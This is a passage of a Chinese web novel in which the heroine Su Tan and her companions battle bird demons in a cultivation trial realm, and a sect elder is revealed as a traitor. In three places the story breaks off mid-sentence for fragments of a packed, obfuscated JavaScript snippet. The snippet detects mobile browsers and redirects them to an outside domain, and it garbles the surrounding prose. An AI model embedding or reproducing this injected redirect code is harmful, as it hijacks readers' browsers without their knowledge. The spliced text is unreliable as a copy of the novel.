“最基本的,喜、怒、哀、乐我都能体会到。更复杂的情绪,我可以察觉,然后分辨,最后给出反应。” 001的语气仿佛不是在讨论自己,而是在描述一个毫不相关的非人类。 苏昙再一次小小震惊:“你就没想过为何会有感情缺失?你们主神就是这么管生不管养的?” “想过,但想不明白。对你们人类而言,每一次情绪体验也许会带来不一样的感受,但对我们子系统,只会留下重复不变的不安,然后慢慢习惯不同的感受。” 苏昙原本想借001不懂感情,试探他的心理,现在却有些动摇。 “那你们一定很辛苦吧。” 001:“你作为宿主,不需要和我们感同身受。我本身的存在,我会自己去发现。而你,还有你的事情要做。” 苏昙:“……”好一个工作狂,满脑子都是业绩,果然不能心疼男人。 “不劳您费心,您只要没事的时候多来看看我是否安然无恙,我就很满足了。不然,说不定哪天,你的宿主命殒在外了你都不知道。” “不会让你命殒的。” “……?” 苏昙猛地听到001真诚回答的语气,差点一口气没上来。 “这是我们子系统的职责。”001把话补全。 “那你最好说到做到。”苏昙赶紧趁火打劫,“这段时间,里境可不安全,我随时会有危险,你可得看紧我。” 没办法,谁让她现在摊上这么个黑影老大,必须得留后手。 再说,谁让001天生就克他呢。 苏昙不知道001到底听进去没,反而听他好心提醒道:“你的队友快急死了,还不准备醒过来吗?” “得,这就醒。您赶快回去忙吧。” 苏昙毫不留恋,潇洒离去。 23. 世界二(8) “你说阿檀她会不会有事啊?” “呵,苏檀命可大得很,别太担心。” “可都已经半个时辰了……” 苏昙睁开眼,就看到这二人,一个满面愁容,一个神色淡定。 她从地上坐起,扶额开口:“那个,我没事。” “你看,我说什么,她肯定没事!” 南宫洛奚虽然嘴硬,但脸上的表情也明显变得放松。 何瑚扶住苏昙,关心道:“你刚刚怎么了,突然就直直地倒在地上,快把我们吓死了!” “是啊,她快要担心死了,恨不得把包里的药草全给你用上。”南宫洛奚撇撇嘴,显然无法理解她们姐妹情深。 苏昙听到,也略感夸张,心里却一阵柔软。 她转念想起黑影离开时的话,便试着使出更高阶的控物术法,结果刚控一半就失败,和自己之前试过的无数次一样。她苦笑着摇摇头,不再往心里去。 “刚才那么危险,你怎么还有心情笑!”何瑚着急地轻推了下苏昙的胳膊,问道,“到底怎么了?” 苏昙收敛起神色,说道:“我那时堪堪走到你指的地方附近,就感觉脚下发软,紧接着便没了意识,再然后,我睁开眼,就看到你们。许是我这短短时间太累了,等试炼结束了一定好好休息。” 自从穿过来,她已经不知自己究竟撒了多少谎。起初还有些心虚,现在竟可以说得面不改色。真是烂泥路上拉车,自己反倒越陷越深了。 她接着问那两人:“你们呢?有什么发现吗?” 何瑚和南宫洛奚没有深思,以为只是虚惊一场,顺着苏昙的话说道:“很奇怪,我们去那里仔细查找,完全没有瑰棘花的影子。不过那个地方乱糟糟的,完全看不出什么其他的信息。” 苏昙站起来:“带我去看看。” 三人再次回到何瑚感知到的地方。 雪在苏昙晕倒之前就已经停下,地上早早地盖上厚厚的积层,白花花亮闪闪的,每睬一步,便发出一声咯吱咯吱的声响,三人脚步交错,听起来别有一番韵律。 这样对比下来,何瑚所说的“乱”确实显得格外瞩目。 道路一旁的山茶花枝东倒西歪地躺在地上,土地表层的黑黄色泥土不知通过什么方式,全部被翻上来,和白色的积雪混杂在一起,几乎无法辨别之前的痕迹。 “这里除了瑰棘花的气息,便找不出其他的了。”何瑚心里不甘,却无可奈何,“难道线索又要断掉?” “谁说的?” 苏昙蹲下身,从衣袖里掏出一把不知名的白粉撒到地上,等了几秒,她抓起一把脏兮兮的泥土,放在鼻下细嗅片刻,露出意会的笑容,说道:“我看,这泥土就是线索。” 南宫洛奚闻言,抓起泥土,在闻到土里散发的气味后,脸色突变:“……这味道!和我们这几天对峙的妖兽身上的气息一模一样!” 苏昙点头:“没错。瑰棘花气息太浓郁,反而会影响我们的判断。说起来歪打正着,我在来虚境之前特意买了几袋‘显形粉’,这种粉能够除去周围杂乱气息的干扰。” 何瑚了悟:“所以,我能感知到瑰棘花的气息,恐怕正是妖兽带过来的——也就是说!只要我们能找到出没这里的妖兽,就有机会找到瑰棘花!” 这一发现,无疑给三人莫大希望,苏昙暂时忘掉刚刚在识海遇到黑影人的惊险时分。 但是,虚境的妖兽神出鬼没,有时一天能遇上七八个,有时几天也不见一只,何瑚的追踪术法也无能为力。说白了,全凭运气。 眼看一天时间就要过去,天完全黑透也就大半个时辰的功夫。真要等到天黑再碰上妖兽,哪怕苏昙三人一起,也不敢保证利弊,更何况还要靠妖兽找到瑰棘花。 中间几次,南宫洛奚想偷懒用灵力传送,都被何瑚和苏昙揪着衣领子拎了回来。 苏昙:“如果用传送术法,很容易忽略路上妖兽的信息。你姑且再忍忍,把力气留到对峙妖兽,算着妖兽就快该出现了。” 南宫洛奚正欲习惯性回嘴,奈何转眼对上何瑚不容置疑的眼色,硬是把冲到嘴边的话哼了个弯:“行。” 不知不觉,雪原已经彻底被黑夜笼罩,三人被迫放慢脚程。好在有何瑚和南宫洛奚两个活宝时不时斗嘴,苏昙觉得单调的赶路还不算枯燥。 “苏姑娘!” 一道男声远远传来。苏昙听着有些耳熟。她回头定睛,认出那人正是前些天结识的陈鑫郁。 “陈道友?”何瑚只记得当时和他有过一面之交,没想会在此处再次相遇。 “陈道友?”南宫洛奚立刻警觉,“你和他之间认识?有咱们俩熟吗?” 何瑚不知道这人脑子又抽什么风,她简短回道:“算不上很熟。” 什么叫算不上很熟?是和他不熟,还是和那个陌生男子不熟? 南宫洛奚正百思不得其解,又听何瑚说道:“说起来还有些内疚,我唯一和陈道友说话的时候还是为了利用他脱身。” “切,这有什么好愧疚的!人人都有想得到的和不想要的,想要就去努力争取有错吗?再说,”南宫洛奚看向陈鑫郁,阴□□,“我看他现在不活得挺好。” 何瑚觉得他后半句听着有些怪怪的,心里也确实南宫洛奚说得有理。 闲聊间,陈鑫郁已走到三人跟前,浅笑着打起招呼:“好巧。苏姑娘,何姑娘。” 何瑚睁大眼睛:“你怎么知道我的名字?”她明明没和陈鑫郁提过。 “我说的。”苏昙开口解释,“第一次和你走散之后,我遇到陈道友,聊了几句。” 她虽面上带笑,眼神却笼上一层不易察觉的疏离。 能走到这里的,如果不是像她们这样共同合作,独自一人绝非易事。不知为何,苏昙脑海里浮现出金迩狂妄自大的模样。 一个肯放下自尊,愿意忍辱负重的修士,最终的目标往往是常人不可及。 “确实是这样的。我乃岳门宗弟子,久闻穆掌门盛名,无论如何定要来历练一番。”陈鑫郁脸上依旧挂着温和的微笑,同时终于注意到旁边还站着另一位浑身“冰碴子”的男性,问道,“这位是——” 南宫洛奚不语。 “也是路上遇到的同伴,叫南宫洛奚。”何瑚爽快介绍。 什么叫“也是”?南宫洛奚对她的答案略感不满。 可惜此刻众人的注意力都在陈鑫郁身上,南宫洛奚只得对他回以一样礼貌的微笑。 陈鑫郁看向何瑚:“你们找瑰棘花如何了?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16339190|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 何瑚摇摇头。 陈鑫郁直接道:“我虽是自己一个人,多少也有些修为,三位可否让我加入,这样说不定会更快些。” “这……”何瑚有些犹豫。 陈鑫郁很快明白她心中所虑,诚恳道:“我别无他求,只希望各位可以保我一路平安。实不相瞒,越到后面灵草品阶越高,我就想多带回去一些,增进修为。” 何瑚把求助的目光投向苏昙。 苏昙默契地接上话:“好啊。” 又是一个别无他求。她不要瑰棘花是因为她的目的不在花上,那陈鑫郁是为了什么? 她说:“只是里境情况复杂多变,不知陈道友可有发现什么异常?” “还真有。”陈鑫郁声音很轻,却十分清晰,“来的路上,我发现里境的妖兽有种说不上来的奇怪,就像是……完全丧失了神智似的。可陈长老提过,虚境内妖兽虽凶,仍属万物之灵,断不会暴戾到连自己的同伴都攻击。” 何瑚回忆起前几年入虚境历练的情景,的确没有遇见过陈鑫郁描述的那种妖兽。 苏昙若有所思:“除此之外,可再有发现什么吗?” 陈鑫郁苦想半天,吐出两个字:“没了。” 南宫洛奚在一旁无声观察,心中越发不解:真不知道这人是怎么活到现在的,纯靠运气次次死里逃生吗? 他和苏昙对视几秒,忽地上前几步对陈鑫郁说道:“我们发现,某些妖兽身上有瑰棘花的气息。” “你们已经找到瑰棘花了?!”陈鑫郁有些激动,但很快平复下来。 苏昙眸色微沉:“目前还不能完全确定,只有等找到了妖兽才能再做定论。” “好。”陈鑫郁点头,自觉地跟在了三人的后面。 众人又走了两个时辰,此刻天已经彻底黑透,离雪山也越来越近,气温也就越来越低。如果不是有灵力的加持,刺骨的寒风怕是要将整个人都吹透。 陈鑫郁看了一眼领队的苏昙,默默从斜挎的小包里掏出一把发着光泽灵花灵草,递给前面的何瑚,低声道:“这是我路上摘的药草,先给你们用。” 何瑚一看便知这是上等的药草,连忙摆手道:“陈道友留着自用吧,里境凶险,以备不时之需。” “是啊,我还在呢。”南宫洛奚话是对何瑚说的,眼睛却看着立在原地不知所措的陈鑫郁。 陈鑫郁尴尬地摸摸鼻头,把东西塞回了包里。 等到后半夜休息的时候,他避开何瑚和南宫洛奚,握着灵草慢慢地走到准备打坐修炼的苏昙身边。 陈鑫郁:“苏姑娘。” 苏昙睁开眼,目光扫过他手里的东西,最后盯着他的眼睛,淡淡地将他要说的话堵回喉咙:“陈道友不必多言。虚境之内,人人各凭本事自保。金迩他们可能吃这一套,但对我,没用。” 陈鑫郁神色黯下来。 苏昙语气稍缓和:“我们都各有所求,只希望能够平安无事从虚境出来,不是吗?” “……是啊。”陈鑫郁低喃。 他转身走开,坐在离苏昙五步路的地方,看着她入定——苏昙啊苏昙,人人各有所求,可你当真认为最后人人都能求到吗? 陈鑫郁扯平嘴角,面无表情地闭上了双眼。 24. 世界二(9) 次日,天刚破晓,苏昙在识海里察觉到外界隐约传来细小声响,听起来不像是有人在走动,也不似人妖搏斗动静激烈。她立刻叫醒另外三人,迅速动身出发。 幸运地是,天空放了晴,没有漫天纷扰的雪花,苏昙的心连带着也明朗了不少。 何瑚竖起耳朵:“刚才那是什么动静?” 陈鑫郁:“听声音好像正是从雪山脚下传来的。” “耳朵挺好使嘛。”南宫洛奚不咸不淡地看了他一眼。 何瑚终于忍不下去,问道:“南宫洛奚,你自昨天起就怪怪的,到底发什么了?” “……没什么。”南宫洛奚依旧走在她身边,却不再多说一个字。 何瑚见他不愿意说话,火气一下涌上来,干脆自己也扭过头,主打一个眼不见心不烦:“爱说不说。” 这边陈鑫郁自觉气氛不对,快步和苏昙并排同行,小声道:“苏姑娘,这二人一直都这么……直爽吗?” 直爽?她只看得到一个满得快要溢出来还不自知的醋缸子和一个大咧咧没心眼的太阳花。 苏昙:“他俩欢喜冤家,习惯就好。” “这样啊。”陈鑫郁了然,接着刚才的话继续道,“苏姑娘也觉着这声音来自雪山吗?” 苏昙闻言,微微仰头,看向不远处的巍峨群山:“不敢确定。但现下唯一的方向就是那里,无论如何都要先去到再说。” 这时,何瑚走上前对苏昙说:“阿檀,你有没有觉得这几天,里境有些太平静了?” “有。” 她自然察觉得到,自从上次遇到妖兽抑或是其他险关,已经过去三天,日日风平浪静,时间长了反而让人觉得压抑。 “恐怕暴风雪就要近在咫尺了。” 陈鑫郁面如其名,脸上蒙上一层阴郁,说话却轻声细语,叫人不易察觉。 何瑚叮嘱道:“我感知到,瑰棘花的气息方向仍在雪山方向。大家紧张起来,切不可放松警惕。” 苏昙四人继续往前走,终于再次遇到两只拦路的妖兽。这两只妖兽看起来并不似陈鑫郁描述的那样互相残杀,看着只是里境里的普通妖兽。 何瑚调动灵力感知,很快道:“它们身上没有瑰棘花的气息。” 苏昙:“那就开始吧,速战速决。” …… 转眼已是晌午时分,苏昙四人已经雪山脚下。白皑皑的高耸山谷回荡着积雪融化成雪水落下的滴答声,颇有节奏地敲打在众人心尖。 苏昙蓦地停下脚步,心里腾地升起强烈不安的预感——周围依旧如常,只是四下里似乎变得……变得更静了。 静得隐晦而诡异。 还真是应验了那句越怕什么来什么,变数往往就在一念之间。 一片巨大的阴影神不知鬼不觉地将她们四人全部笼罩起来。 阴影笼罩的刹那,苏昙瞬间感觉到自己的五脏六腑仿佛被紧紧地揉捏成一团,一口气半上不下地吊在嗓子眼,憋得喘不过气。她艰难转头,看向和自己一样动弹不得的另外三人。为何她们竟无一人对此次危险有所感知? 陈鑫郁艰难地蹦出几个字:“闭息、收敛……灵力。” 南宫洛奚:“?!” 他惊恐地转动眼珠子瞟向陈鑫郁,仿佛在问,不使用灵力还怎么逃命!但危急关头,只能死马当做活马医。另外两人也紧跟着立马动作。 苏昙堪堪收回灵力,便立竿见影般如释重负,肝脏器官又重新在身体里归位。同一时间,没有了灵力的作用,刺骨的寒气瞬间涌进身体,苏昙狠狠地打了个寒颤。 来不及多想,她立刻闪到地面上的阴影之外,抬头望去才发现,造成这巨大阴影的竟是一只盘旋在半空的夭勒妖! 很快,另外三人也挣脱出来,重新掌控了身体。 那夭勒妖扇动着足足有五米长的双翼,旋起的气流浓稠地包围苏昙全身。通体黑褐色的羽毛,唯独颈部簇生一圈暗沉斑驳的铅蓝色的杂羽,显得格外瞩目。 南宫洛奚:“这鸟妖一直在天上不下来,我们该怎么办?”说完,他无意识对上夭勒犀利凶狠的目光,惊出一脑门汗。风一吹,又成了止不住的冷汗。 下一秒,夭勒妖径直俯冲向地面上的众人,伸出尖锐锋利的爪牙,仿佛早已掠劫成性,要活生生地将人肉撕碎。 “快躲开!”苏昙高声提醒,闪避时还是让鸟妖撕破了衣袖。 “现在灵力使不出来,靠武力吗?” 何瑚心惊胆战地躲避,注视着鸟妖的一举一动。 苏昙:“恐怕只能这样了!” 南宫洛奚被这妖兽惊人的滑翔速度惊到,完全不似庞大的身形看起来笨重! 他观察片刻形势后,跑到何瑚附近,把随身携带的淬毒袖箭扔给她:“拿好。” 接着,他来到苏昙身边,快速商量道:“这样下去不是办法,我们必须配合牵制住它!” “我来吸引它的注意力!”陈鑫郁不知什么时候出现,自告奋勇道。 苏昙皱起眉,刚才只顾着躲避,竟没注意到队里还有一个可疑的人。 她顺着答应:“好,我和你一起去牵制鸟妖,南宫洛奚你和何瑚负责进攻。” 南宫洛奚听到何瑚的名字后停顿了一秒,接着便听见何瑚的声音从身后传来:“没问题。” 何瑚向苏昙点头示意,随即把南宫洛奚拉离鸟妖一段距离,她一边注意鸟妖的动向,一边说道:“你善用剑,武功又比我高,近战就交给你,我在后方听你指令辅助你。” 南宫洛奚神色有些不自然,突然像个小姑娘扭捏道:“你不是不理我了?” “?”何瑚心大如盘,哪还记得早晨还在和他置气,当下只顾着眼前的大妖。 她疑惑道:“为何不理你?” 南宫洛奚嘴角一抽,浑身的别扭瞬间不见,心情复杂得变了又变,脸也跟着红了又红,最后气来气去,只能气自己自作多情。 他吸了一下鼻子,把多余的心思收回,走到低空盘旋的鸟妖前面,盯着它认真道:“听你的。” 阴影之下,苏昙摸出衣袖里剩余的传送符数了数,还有三张。虽然目前无法使用灵力,好在自己当时为了偷懒,多买了一些符纸——就是现在剩的不多,要珍惜着用。 除了符纸,就只留着几颗没用完的霹雳珠。霹雳珠有距离限制,近了使不出来。苏昙在脑海里思索一通,还是没把符纸的事情告诉陈鑫郁。 陈鑫郁对身边人的心思全然不知,他调匀气息同苏昙说:“苏姑娘,我该怎么做?” “先绕到后面。”苏昙当机立断。她把两颗霹雳珠递给陈鑫郁,告诉他何时用。 夭勒妖注意到四人前后分散开,以为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351356|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏昙等人在发出挑衅,瞬间变得恼羞成怒,阴骘的豆眼猩红如血。它嘶哑长鸣,更加疯狂地扇动双翼,瞄准了离得最近的南宫洛奚。 南宫洛奚收敛起平常时候的少年稚气,目光微沉,稳稳地侧身站立在地。他紧握长剑直指鸟妖,手腕绷得笔直,蓄势待发。 来了! 鸟妖径直向着南宫洛奚冲来,迫不及待地伸长利爪。南宫洛奚眯起双眼,脚尖轻巧点地,像叶子一般从鸟妖背上仰跃而过。鸟妖毫不甘心,飞快地旋转巨大身体,再次发起攻击,南宫洛奚再躲;再攻,再躲……几个回合下来,鸟妖气急败坏,干脆把利喙转向它身后的苏昙。 苏昙全程密切观察局面,早已做好了准备。她使出手里捏着的传送符,闪现到鸟妖背上。苏昙紧贴着夭勒的羽翼,利落地抄起腰间匕首插进它的脖颈。 “怎么回事!为什么这鸟妖丝毫不受影响?” 苏昙发觉这妖兽不似之前那般好对付,她立刻启动传音耳饰,飞速和远处的何瑚说明自己的情况。说罢,她高声对下面喊道:“陈鑫郁,按我刚才和你说的做,快用霹雳珠!” 陈鑫郁很快应声,举起一只手示意,表示自己听到。 鸟妖连续被苏昙的匕首刺了数十次,虽没正中要害,但明显痛得失去大半攻击的力气,越发晕头转向,嘴里发出更加刺耳的长鸣。 “糟了。”苏昙的心狠狠一坠。鸟妖怕不是在唤同伴! ——陈鑫郁怎么还不行动?!她极力控制着鸟妖,从上面探头。 只见陈鑫郁低着脑袋来回在地上踱步,似乎在等待什么。 那一瞬间,苏昙猛然意识到,陈鑫郁已经不可信了! 为什么在夭勒妖一出现时陈鑫郁就知道该如何恢复自如?为什么他自始自终全然不像她们那样紧张?为什么他在有意保持沉默?一个个疑问如雨后春笋般接连不断冒出,饶是苏昙再淡定,背后也渗出薄薄的冷汗。 陈鑫郁接近她们,究竟是和目的?如果不是为了他口中所谓的花花草草,也不为瑰棘花,那就只能是…… 是为了人! “阿檀,小心!”何瑚的声音在耳饰里响起,猛地将苏昙拽出走神的思绪,她道:“鸟妖不好接近,现在杀它太困难,我准备先把它两只眼睛射瞎!” 苏昙快速平复情绪:“好。” 她在鸟背后躲好,继续道:“陈鑫郁已经不可信了,他的目的是我们。你和南宫洛奚小心周围,也小心他!” 何瑚:“陈道友怎么……” “有时间再和你解释,保命要紧!” “好。”何瑚不再多问,她将袖箭对准了鸟妖的头部,“躲好了!” 下一刻,利箭穿破空气,“咻!”的一声,精准射进夭勒妖的左眼。又一声“咻!”夭勒妖的右眼也多了一只袖箭。 紧接着,鸟妖的双目迸出鲜红的血,刷刷地顺着脖颈滴落成线,殷红了洁白的雪地。 失去视野,鸟妖竟如同失了神魄,狂躁地振动双翅,颠得苏昙快要把胃里的酸水吐出来。余光中,她瞥见一团熟悉的黑气从鸟妖的头上窜上天,又奇怪地转了个弯,像被吸引般钻入她眉心。 苏昙:“……” 不是吧,又来。 在晕倒的前一秒,她拼命调整到一个安全的姿势,紧接着失去意识,从鸟背上“优雅”跌落。 25. 世界二(10) 苏昙识海。 好巧不巧,她遇到了个熟人。001也在这里。 “你怎么在这?”苏昙之前入识海修炼几乎没见过他,这次竟刚好遇上。 001开门见山道:“你能变强,是因为这黑气。” 苏昙:“是吗?” 怪不得她刚刚在黑气入体的时候除了晕倒,并未有其他不适,反而觉得身体有几分轻松和暖意。 难不成上次黑影说的“让你变强”是真的? “你就没有想过为什么黑影只找你一个人?” 苏昙一时半会还真想不出个所以然,真诚道:“但是目前来说,现在的情况也不算太坏?” “哪以后呢?” 苏昙她的心思还留在外面的人和妖身上:“以后的事情以后再说,既然现在没事,我就先走了,回头聊。” 001:“……” 莫不是识海太黑,苏昙看不清他的严肃表情,意识不到这件事情的严重? * 从识海出来,苏昙被眼前的景象着实惊到:陈鑫郁大概是她还在识海的时候便消失不见,现场只剩下一只残血的夭勒妖和受伤的两人—— 何瑚衣裙下摆被鸟妖撕扯地看不出原貌,在小腿的位置有一道环绕的割口,虽然血已止住,瞧着依旧狰狞,内里的皮肉都绽开;南宫洛奚的左手臂有气无力地耷拉在身旁,另一只手还在坚持握着剑,把何瑚护在身后,随时迎接下一轮防备反攻。 是何瑚先发现苏昙站起来的。 “阿檀。”何瑚声音发颤,终于在见到苏昙醒来时涌上后怕,眼泪瞬间在眼眶打转,“它身上有黑气,我们不知道那是什么。我和洛奚杀不掉它。” 苏昙神色变得凝重。之前的两次和这次的黑气,怕都不是巧合,陈鑫郁是冲着她来的。穆遣当时那么谨慎,这些绝不像是会出现虚境里的东西。 保险起见,何瑚他们必须离开虚境。 苏昙跑过去,趁着夭勒妖还在半空,二话不说掏出包里的药草,蹲下身给何瑚敷上:“我来了,别怕。” 说完,她握住何瑚的手,把剩下的两张传送符给她:“你和南宫洛奚马上用这个离开。” 何瑚擦掉眼泪,一个劲地摇头,要把传送符还给苏昙:“不能单独把你留在里境,我没脸一个人去见令堂令尊。” 不知为何,苏昙觉得心情好烦躁。 “我说了,马上离开这!”她提高声音命令道。 何瑚愣了愣,情绪一下子上来:“你还在这,我不能走!” “能不能听我的!” 苏昙很快注意到刚刚的语气不对,放缓声音说:“瑰棘花我会替你们拿回来,相信我。” 何瑚:“和瑰棘花没关系!” “好,我们走。”南宫洛奚毫不犹豫拉走何瑚,对苏昙说,“我去帮你发送求救信号。” 他拖着挣扎的何瑚,来到一片空地,朝天空放出烟花。 “……多谢。” 苏昙看着何瑚和南宫洛奚消失的身影,心里稍稍松了口气。突然,天空尽头传来一阵异响,如同群鸟振翅。 这鸟妖果然把同伴都叫来了! 苏昙心底霎时间生出强烈的感应。 她抬起双手,手心里随之静静地浮起两团黑气。苏昙挑眉,一下子明白了黑影那时的话。 她闭目调息,熟练地运动体内黑气——果然和灵力一个效果,甚至比灵力更强!她使不出灵力,却可以自如地吐纳黑气。 她闪现到鸟妖旁边,将鸟妖身体里的全部黑气尽数吸呐到自己体内。早已是强弩之末的夭勒妖没有了黑气附体,立刻瘫软坠落倒地,不省人事了。苏昙紧握刀柄,果断地砍下鸟妖的头颅。 她清晰地感受到自己一点点变得紧张兴奋,这种快感是自己从未体验过的新奇刺激,全然没有第一次杀生时的恐惧反胃。 紧接着,数十只群妖相继飞至,浑身无一例外散发着一模一样的黑气。苏昙扯起嘴角,在已经死去的鸟妖身上抹净匕首上的鲜血,干脆直接地解决下一只,下下一只…… 当第八只夭勒妖进攻时,苏昙的心脏蓦地一阵刺痛,手上的劲尽数泄掉。她堪堪抵住攻击,闪到路边的一块巨石背后,疼得攥紧了胸口的衣服,大口喘息。 她识海刚开,怕是身体还承受不住这么多黑气进入,此刻额头已经冒出一层层冷汗。 对了,南宫洛奚不是发送了求救信号,为何现在还不见长老身影? 苏昙不敢再贸然出去现身,只能用黑气暂时给自己设下一个保护屏障,在屏障内休息。 …… 时间一分一秒流逝,苏昙身上的疼痛非但没有缓解,甚至更加剧烈,她感受到体内充斥着各种情绪,愤怒,自责,悲伤,兴奋……每一种都化作令人窒息的无边的黑暗,无休止地纠缠在一起,疯狂地折磨她的神经。 苏昙嘴唇泛白,从原本的静坐换到屈腿抱膝,再到躺在地上紧紧蜷缩身体。迷迷糊糊中,她终于看到有人出现。那人朝自己走过来。 “谁?!” 她警觉地挣扎起身,努力平衡虚弱的身体。 “是我。” 陈万肃和声开口:“遣凌派内收到弟子的求救,便让我赶过来查看,这位弟子,你还好吗?” 苏昙无力地垂着头缓了几秒,轻声道:“不太……” 那是什么?! 苏昙本来迷离飘忽的神智在看到陈万肃腰间系着的一物时瞬间惊醒。 那把挂在扇柄的流穗竟编成一朵黑色的莲花! 难怪她第一次在崖壁上看到黑莲时就有种熟悉的感觉,她早就在陈万肃的课上见过这把扇子! 苏昙抬头看向陈万肃,正对上他含笑的眼睛,没有丝毫的怜意。 她预感目前的境遇不会再有转机,盯着陈万肃问道:“穆……我父亲呢?” “穆遣?你以为他会来?”陈万肃眼中的笑意深了几分,“你以为他有多在乎你啊。” “是你在虚境动了手脚。” “也可以不是我。”陈万肃无意识轻轻摩挲着扇骨,竟令苏昙想到一个人。不,准确说,那黑影算不上人。 “看来我出不去了。” “出去?”陈万肃像是听到什么天大的笑话,鼻腔里哼出一声嗤笑,弯腰把苏昙身上的求救烟花摸出来,狠狠攥成一把齑粉,扬在半空,垂眸道,“好好在这待着吧。” 说完,头也不回地离开了。 天空中盘旋的夭勒妖不知何时没了动静,直到陈万肃离开,苏昙提在嗓子眼的心才重重落下,仅存的一点理智彻底消失,脑袋越发混沌晕乎,甚至幻视出陈鑫郁的模糊身影。 “砰!!!” 苏昙被潜伏在暗处的鸟妖一翅膀狠狠拍在腰上,撞飞到空中。 好疼啊。 头好疼。心脏好疼。腰好疼。浑身都好疼。 我是不是要死了。 苏昙脑海里只剩下这一个念头。 她这时才恍然,原来人在极度害怕的时候是叫不出声的,当然,也哭不出来。 如果就这样结束,也许挺好。她闭上了眼,想道。 * 遣凌派殿内。 穆遣和众长老站在一片大大小小不同的虚像前,正是虚境内不同地点的情况。 半个时辰前,殿内接收到又一求救信号,陈万肃查看后便匆匆赶去。正当穆遣发觉陈万肃去的时间未免太久了些,一个熟悉的身影进入视线。 穆遣着急地问:“怎么去这么长时间?为何弟子没有回来?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365845|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “是一个小弟子不小心误放了求救信号,不过为了以防万一,我在虚境多停留了一些时间检查。”陈万肃站到一旁回道。 “确实要仔细些。”穆遣和陈万肃已是多年好友,他听后不曾有疑,随后又想到了什么,说,“这几日,还是没有檀儿的踪迹吗?” 陈万肃闻言,摇了摇头。 自苏昙三人和陈鑫郁相遇,虚像便捕捉不到这一行人的行踪。 “不过,掌门无需太过担心,我已经派人去找。檀儿那么聪慧,如遇危险定会发送求救的。如今,没有消息就是最好的消息。” 穆遣揉了揉眉心:“我身为掌门,不便直接进入虚境,只能辛苦你代我去寻,多谢。” “掌门无需言谢,应该的。” 陈万肃低头拱手,宽大的衣袖遮住他隐晦不清的神色。 * 虚境外境。 “别碰我,离我远点!” 何瑚甩开南宫洛奚的手,拖着一条半残的腿往回走。 南宫洛奚见她如此自毁,抬手把剑挡在她面前,低声怒喝道:“你能不能别那么冲动!” “我冲动?你当时直接把我拽走离开就不是冲动?” “你觉得你和我就这副样子留在那,真的能帮到苏檀?她有她的掌门父亲,她不会出事的!”南宫洛奚虚指何瑚血肉模糊的双腿,不忍再看,别过头去。 何瑚胸口剧烈地起伏着,沉默了下来。 南宫洛奚也意识到他刚才没忍住吼了她,扯了扯何瑚的袖角:“对不起……” “我答应过阿昙和令堂,会平安陪她出来。也答应过你,一定要找到瑰棘花。”何瑚声音闷闷的,有些颤抖,“可是,我现在一个都没做到。南宫洛奚,我是不是特别没用?” 南宫洛奚被何瑚红红的眼圈吓得不知所措,他放下剑,话都说得结结巴巴:“你、你别哭、我没有说你没用,我不是那个意思。” 他感觉脸烫烫的。 南宫洛奚反复在心里怂恿自己,僵硬地抬起唯一一只完好的胳膊,试探着把何瑚圈在怀中,手却不敢碰到她的身体。 “听说、女孩子伤心的时候抱一抱,心情会好一些。”南宫洛奚的声音和他的身体一样紧张。 何瑚愣了几秒,抬手抱住南宫洛奚,把脸埋在他的颈窝。紧接着,南宫洛奚听到怀里传来连续不断的抽泣声。 他脑袋飞速运转,最后一板一眼道:“不许把鼻涕弄到我的衣服上。” 手上却一下一下地温柔摸着何瑚的脑袋,静静地等着她。 只是还不到半刻钟,怀里的人动了动。 南宫洛奚:“……其实你可以再多哭一会,我不嫌弃。” 何瑚摇摇头,情绪已经冷静下来:“一想到阿昙生死未卜,我哪还有心情哭。我们得想办法救她。” 南宫洛奚思索道:“如今我们俩人身体负伤,贸然进入里境太危险,不如我们先出去,再去找掌门说明情况?” “我和阿昙距离太远,传音耳饰没有用。现在看来,只能先这样了,我去放求救信号。”何瑚立马行动起来,“……” “怎么了?” 何瑚反复翻腰间小包:“我的烟花筒不见了!” 南宫洛奚正色:“还能回忆起什么时候不见的吗?” “烟花筒一直在我小包里放,我的小包……我每天晚上都会拿掉抱在怀里。” 何瑚和南宫洛奚对视上,停顿了几秒,异口同声道:“是陈鑫郁!” 南宫洛奚脸色瞬间变黑,恨不得能把陈鑫郁千刀万剐:“苏檀说得没错,他果然没安好心。” “事已至此,我们继续走吧,尽量早些出去。” 何瑚心里默默祈祷,阿檀一定要平安无事,千万要坚持住。 26. 世界二(11) 苏昙做了个很长很长的梦。 在梦里,她无止境地向深渊坠落,落不到实地,触手所及皆是虚空与黑暗。掠过身侧的凛风利如刀片,将她割得遍体鳞伤。 但她感觉不到痛,也没有处在高空的恐惧,好像已经这样坠落了漫长的时光,久到连她都记不清何时来到了这里。 就这样静静地坠落,无人知晓,无人在意。 …… 